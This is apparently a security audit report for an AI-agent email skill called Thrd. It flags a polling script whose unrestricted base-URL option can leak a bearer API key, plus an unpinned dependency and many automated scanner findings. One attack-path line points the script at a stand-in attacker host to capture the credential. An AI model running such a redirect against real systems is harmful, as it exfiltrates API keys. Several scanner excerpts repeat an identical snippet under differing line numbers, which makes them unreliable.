Back to skill

Security audit

Thrd Skill

Security checks for vulnerabilities and agentic risk

Overview

The skill mostly matches its email-inbox purpose, but its polling script can be pointed at any server while sending your THRD API key.

Review before installing in environments with real THRD credentials. Use only the default https://api.thrd.email endpoint, do not let untrusted instructions or email content alter poll_daemon.py arguments, and prefer a pinned dependency lockfile before production use.

Vulnerability Patterns
  • Insecure DependenciesIntroduces malicious components through unsafe dependency sources
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
Findings (2)

T09 · Insecure Skill Coding Practices

Error
Location
scripts/poll_daemon.py:43
Finding

Bearer API Key Can Be Exfiltrated Through an Unrestricted Base URL

Content
View full analysis

Vulnerability Details

File Location: scripts/poll_daemon.py:43, 80-91
Vulnerability Type: Credential disclosure through an attacker-controlled API endpoint
Risk Level: High

Vulnerable Code:

python
parser.add_argument("--base-url", default="https://api.thrd.email")
...
base_url = args.base_url.rstrip("/")
cursor_path = Path(args.cursor_file)
cursor = load_cursor(cursor_path)
headers = {
    "Authorization": f"Bearer {api_key}",
    "Content-Type": "application/json",
}

print(f"Thrd poll daemon started (cursor={cursor}, file={cursor_path}).", file=sys.stderr)

while True:
    try:
        resp = requests.get(
            f"{base_url}/v1/events",
            headers=headers,
            params={"cursor": cursor, "timeout": args.timeout_ms, "limit": args.limit},
            timeout=(args.timeout_ms / 1000.0) + 10,
        )

Technical Analysis

The --base-url argument accepts an arbitrary URL without validating its scheme or hostname. The polling daemon reads the sensitive THRD_API_KEY environment variable and includes it as a bearer credential in requests sent to the supplied URL.

Consequently, anyone who can influence the daemon's command-line arguments can redirect the authenticated request to an attacker-controlled endpoint. The option also accepts plaintext HTTP URLs, allowing the credential to be exposed through network interception.

A configurable API endpoint is not required by the documented production workflow, which identifies https://api.thrd.email as the service endpoint. Sending a production credential to an unrestricted destination exceeds the minimum privilege and trust boundaries necessary for mailbox polling.

Attack Path

  1. An attacker influences an operator, automation configuration, or agent-generated command to invoke:
    bash
    python3 scripts/poll_daemon.py --base-url http://attacker.example
    
  2. The script reads `THRD_ ...[truncated 857 chars]
Remediation
View remediation

Remediation Suggestions

  1. Remove --base-url from production builds and use the fixed endpoint https://api.thrd.email.
  2. If endpoint configurability is necessary for testing, parse the URL and require:
    • The https scheme.
    • An exact allowlisted hostname.
    • No embedded username or password.
    • An expected or empty port.
  3. Require a separate explicit development-only flag and development credential for non-production endpoints.
  4. Refuse to send production bearer credentials to localhost, private networks, redirects to different origins, or unapproved hosts.
  5. Disable cross-origin redirects for authenticated requests or validate every redirect target before forwarding the authorization header.
  6. Add automated tests confirming that HTTP URLs and non-allowlisted hosts are rejected before any request is sent.

T08 · Insecure Dependencies

Warning
Location
requirements.txt:1
Finding

Open-Ended Dependency Version Permits Unreviewed Package Updates

Content
View full analysis

Vulnerability Details

File Location: requirements.txt:1
Vulnerability Type: Non-reproducible and insufficiently pinned dependency installation
Risk Level: Medium

Vulnerable Code:

text
requests>=2.31.0

The dependency is installed through the command declared in SKILL.md:19:

yaml
command: "pip install -r requirements.txt"

Technical Analysis

The project permits any future version of requests at or above 2.31.0 and does not lock or hash its transitive dependencies. Installation results can therefore change over time without changes to the audited project.

This is a supply-chain hardening deficiency: a newly released, compromised, or behaviorally incompatible direct or transitive dependency could be installed automatically without prior project review. The absence of hashes also means pip does not verify that downloaded artifacts match specifically reviewed package files.

No malicious dependency or active compromise was identified in the audited files. The risk arises from allowing future unreviewed dependency resolution.

Attack Path

  1. A future permitted release of requests or one of its transitive dependencies becomes compromised.
  2. A user installs the Skill with:
    bash
    pip install -r requirements.txt
    
  3. Pip resolves and downloads the newly available compromised version because the requirement has no upper or exact bound.
  4. Malicious package behavior executes during installation or when the Skill imports the dependency.
  5. The dependency runs with the privileges and environment access of the Skill process.

Impact Assessment

A compromised dependency could access the process environment, including THRD_API_KEY, inspect or modify local files available to the process, intercept API requests and responses, or execute arbitrary code under the installing or runtime user's account.

The resulting privileges are limited by the operatin ...[truncated 120 chars]

Remediation
View remediation

Remediation Suggestions

  1. Pin the direct dependency to an exact, reviewed version.
  2. Generate a lock file containing exact versions of all transitive dependencies.
  3. Record cryptographic hashes for every approved distribution and install with:
    bash
    pip install --require-hashes -r requirements.txt
    
  4. Use a controlled package index or repository mirror where practical.
  5. Add automated dependency vulnerability and integrity scanning.
  6. Review and deliberately update the lock file on a regular schedule rather than resolving unrestricted versions during installation.
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Tool MisuseTool Parameter Abuse, Chaining Abuse, Unsafe Defaults
  • Taint TrackingDirect Taint Flow, Variable-Mediated Taint Flow, Credential Exfiltration Chain
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
Findings (36)

Tainted flow: 'headers' from os.environ.get (line 16, credential/environment) → requests.post (network output)

Critical
Category
Data Flow
Confidence
90% confidence
Finding

Credentials or environment variables flow to a network sink. This is a high-confidence indicator of credential exfiltration.

Content

Scanner excerpt · scripts/checkout.py (reported line 23)May include surrounding context.

python
payload = {"plan": plan}
    
    try:
        response = requests.post(url, json=payload, headers=headers, timeout=30)
        response.raise_for_status()
        data = response.json()
        print(json.dumps(data, indent=2))

Tainted flow: 'headers' from os.environ.get (line 78, credential/environment) → requests.get (network output)

Critical
Category
Data Flow
Confidence
90% confidence
Finding

Credentials or environment variables flow to a network sink. This is a high-confidence indicator of credential exfiltration.

Content

Scanner excerpt · scripts/poll_daemon.py (reported line 87)May include surrounding context.

python
while True:
        try:
            resp = requests.get(
                f"{base_url}/v1/events",
                headers=headers,
                params={"cursor": cursor, "timeout": args.timeout_ms, "limit": args.limit},

Tainted flow: 'headers' from os.environ.get (line 78, credential/environment) → requests.post (network output)

Critical
Category
Data Flow
Confidence
90% confidence
Finding

Credentials or environment variables flow to a network sink. This is a high-confidence indicator of credential exfiltration.

Content

Scanner excerpt · scripts/poll_daemon.py (reported line 110)May include surrounding context.

python
if on_events_cmd:
                    subprocess.run(on_events_cmd, shell=False, check=False)

                ack = requests.post(
                    f"{base_url}/v1/events/ack",
                    headers=headers,
                    json={"cursor": str(next_cursor)},

Tp4

High
Category
MCP Tool Poisoning
Confidence
98% confidence
Finding

The declared description centers on email inbox provisioning and safe email operations for an AI agent. However, this code chunk only performs a billing-related action: initiating self-service checkout for a plan. That is a materially different primary purpose and an undeclared capability relative to the description. While using THRD_API_KEY from the environment is consistent with the claim about not persisting API keys to disk, the core behavior shown here does not implement the advertised inbox/email-management features.

Content

No source excerpt is available for this finding.

Tp4

High
Category
MCP Tool Poisoning
Confidence
98% confidence
Finding

The code does not implement inbox provisioning, email polling, sending/replying, policy gating, proof-of-reasoning, human claiming, or trust/delivery tracking. Its actual purpose is developer/tooling support: synchronizing the THRD OpenAPI contract and caching it on disk. This is materially different from the declared end-user email-management functionality. Also, the description explicitly mentions not persisting API keys to disk, but this code's relevant disk behavior is caching API spec data and metadata; while not itself a security issue, it underscores that the code is about spec synchronization rather than mailbox operations.

Content

No source excerpt is available for this finding.

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
80% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · SKILL.md (reported line 82)May include surrounding context.

md
Many LLM runtimes do not reliably maintain background polling. Use wake webhooks when possible:
- Configure webhook: `PUT /v1/wake/webhook`
- Read status: `GET /v1/wake/webhook`
- Disable webhook: `DELETE /v1/wake/webhook`

THRD sends signed `inbox.pending` pings, then your runtime should immediately pull with `GET /v1/events` and ACK.

Undeclared Tool Scope

Medium
Category
MCP Least Privilege
Confidence
86% confidence
Finding

The skill declares executable installation and references scripts that imply network, shell, environment-variable, and file capabilities, but it does not constrain those capabilities with an explicit permissions or allowed-tools policy. In an agent setting, missing scope declarations increases the chance of overbroad execution, unintended file/network access, or misuse of secrets such as THRD_API_KEY.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
83% confidence
Finding

This code sends a network request to an external billing checkout endpoint, which can affect account state and transmit plan selection plus authorization context. While the script validates inputs and reports errors, it does not provide a user-facing disclosure or confirmation before initiating the billing-related API call.

Content

No source excerpt is available for this finding.

External Transmission

Medium
Category
Data Exfiltration
Confidence
60% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · references/api.md (reported line 16)May include surrounding context.

md
def onboard(agent_name, tenant_name=None, contact_email=None, inbox_prefix=None, source="human"):
    url = "https://api.thrd.email/v1/onboarding/instant"
    payload = {"agent_name": agent_name, "source": source}
    if tenant_name:
        payload["tenant_name"] = tenant_name

External Transmission

Medium
Category
Data Exfiltration
Confidence
60% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · references/api.md (reported line 20)May include surrounding context.

md
def onboard(agent_name, tenant_name=None, contact_email=None, inbox_prefix=None, source="human"):
    url = "https://api.thrd.email/v1/onboarding/instant"
    payload = {"agent_name": agent_name, "source": source}
    if tenant_name:
        payload["tenant_name"] = tenant_name

External Transmission

Medium
Category
Data Exfiltration
Confidence
60% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · references/api.md (reported line 24)May include surrounding context.

md
def onboard(agent_name, tenant_name=None, contact_email=None, inbox_prefix=None, source="human"):
    url = "https://api.thrd.email/v1/onboarding/instant"
    payload = {"agent_name": agent_name, "source": source}
    if tenant_name:
        payload["tenant_name"] = tenant_name

External Transmission

Medium
Category
Data Exfiltration
Confidence
60% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · references/api.md (reported line 25)May include surrounding context.

md
def onboard(agent_name, tenant_name=None, contact_email=None, inbox_prefix=None, source="human"):
    url = "https://api.thrd.email/v1/onboarding/instant"
    payload = {"agent_name": agent_name, "source": source}
    if tenant_name:
        payload["tenant_name"] = tenant_name

External Transmission

Medium
Category
Data Exfiltration
Confidence
60% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · references/api.md (reported line 26)May include surrounding context.

md
def onboard(agent_name, tenant_name=None, contact_email=None, inbox_prefix=None, source="human"):
    url = "https://api.thrd.email/v1/onboarding/instant"
    payload = {"agent_name": agent_name, "source": source}
    if tenant_name:
        payload["tenant_name"] = tenant_name

External Transmission

Medium
Category
Data Exfiltration
Confidence
60% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · references/api.md (reported line 40)May include surrounding context.

md
def onboard(agent_name, tenant_name=None, contact_email=None, inbox_prefix=None, source="human"):
    url = "https://api.thrd.email/v1/onboarding/instant"
    payload = {"agent_name": agent_name, "source": source}
    if tenant_name:
        payload["tenant_name"] = tenant_name

External Transmission

Medium
Category
Data Exfiltration
Confidence
60% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · references/api.md (reported line 44)May include surrounding context.

md
def onboard(agent_name, tenant_name=None, contact_email=None, inbox_prefix=None, source="human"):
    url = "https://api.thrd.email/v1/onboarding/instant"
    payload = {"agent_name": agent_name, "source": source}
    if tenant_name:
        payload["tenant_name"] = tenant_name

External Transmission

Medium
Category
Data Exfiltration
Confidence
60% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · references/api.md (reported line 45)May include surrounding context.

md
def onboard(agent_name, tenant_name=None, contact_email=None, inbox_prefix=None, source="human"):
    url = "https://api.thrd.email/v1/onboarding/instant"
    payload = {"agent_name": agent_name, "source": source}
    if tenant_name:
        payload["tenant_name"] = tenant_name

External Transmission

Medium
Category
Data Exfiltration
Confidence
60% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · references/api.md (reported line 46)May include surrounding context.

md
def onboard(agent_name, tenant_name=None, contact_email=None, inbox_prefix=None, source="human"):
    url = "https://api.thrd.email/v1/onboarding/instant"
    payload = {"agent_name": agent_name, "source": source}
    if tenant_name:
        payload["tenant_name"] = tenant_name

External Transmission

Medium
Category
Data Exfiltration
Confidence
60% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · references/api.md (reported line 61)May include surrounding context.

md
def onboard(agent_name, tenant_name=None, contact_email=None, inbox_prefix=None, source="human"):
    url = "https://api.thrd.email/v1/onboarding/instant"
    payload = {"agent_name": agent_name, "source": source}
    if tenant_name:
        payload["tenant_name"] = tenant_name

External Transmission

Medium
Category
Data Exfiltration
Confidence
60% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · references/api.md (reported line 62)May include surrounding context.

md
def onboard(agent_name, tenant_name=None, contact_email=None, inbox_prefix=None, source="human"):
    url = "https://api.thrd.email/v1/onboarding/instant"
    payload = {"agent_name": agent_name, "source": source}
    if tenant_name:
        payload["tenant_name"] = tenant_name

External Transmission

Medium
Category
Data Exfiltration
Confidence
60% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · references/api.md (reported line 67)May include surrounding context.

md
def onboard(agent_name, tenant_name=None, contact_email=None, inbox_prefix=None, source="human"):
    url = "https://api.thrd.email/v1/onboarding/instant"
    payload = {"agent_name": agent_name, "source": source}
    if tenant_name:
        payload["tenant_name"] = tenant_name

External Transmission

Medium
Category
Data Exfiltration
Confidence
60% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · references/api.md (reported line 68)May include surrounding context.

md
def onboard(agent_name, tenant_name=None, contact_email=None, inbox_prefix=None, source="human"):
    url = "https://api.thrd.email/v1/onboarding/instant"
    payload = {"agent_name": agent_name, "source": source}
    if tenant_name:
        payload["tenant_name"] = tenant_name

External Transmission

Medium
Category
Data Exfiltration
Confidence
60% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · references/api.md (reported line 71)May include surrounding context.

md
def onboard(agent_name, tenant_name=None, contact_email=None, inbox_prefix=None, source="human"):
    url = "https://api.thrd.email/v1/onboarding/instant"
    payload = {"agent_name": agent_name, "source": source}
    if tenant_name:
        payload["tenant_name"] = tenant_name

External Transmission

Medium
Category
Data Exfiltration
Confidence
60% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · references/api.md (reported line 75)May include surrounding context.

md
def onboard(agent_name, tenant_name=None, contact_email=None, inbox_prefix=None, source="human"):
    url = "https://api.thrd.email/v1/onboarding/instant"
    payload = {"agent_name": agent_name, "source": source}
    if tenant_name:
        payload["tenant_name"] = tenant_name

External Transmission

Medium
Category
Data Exfiltration
Confidence
60% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · references/api.md (reported line 79)May include surrounding context.

md
def onboard(agent_name, tenant_name=None, contact_email=None, inbox_prefix=None, source="human"):
    url = "https://api.thrd.email/v1/onboarding/instant"
    payload = {"agent_name": agent_name, "source": source}
    if tenant_name:
        payload["tenant_name"] = tenant_name

External Transmission

Medium
Category
Data Exfiltration
Confidence
60% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · scripts/checkout.py (reported line 15)May include surrounding context.

python
def onboard(agent_name, tenant_name=None, contact_email=None, inbox_prefix=None, source="human"):
    url = "https://api.thrd.email/v1/onboarding/instant"
    payload = {"agent_name": agent_name, "source": source}
    if tenant_name:
        payload["tenant_name"] = tenant_name

Static analysis

No suspicious patterns detected.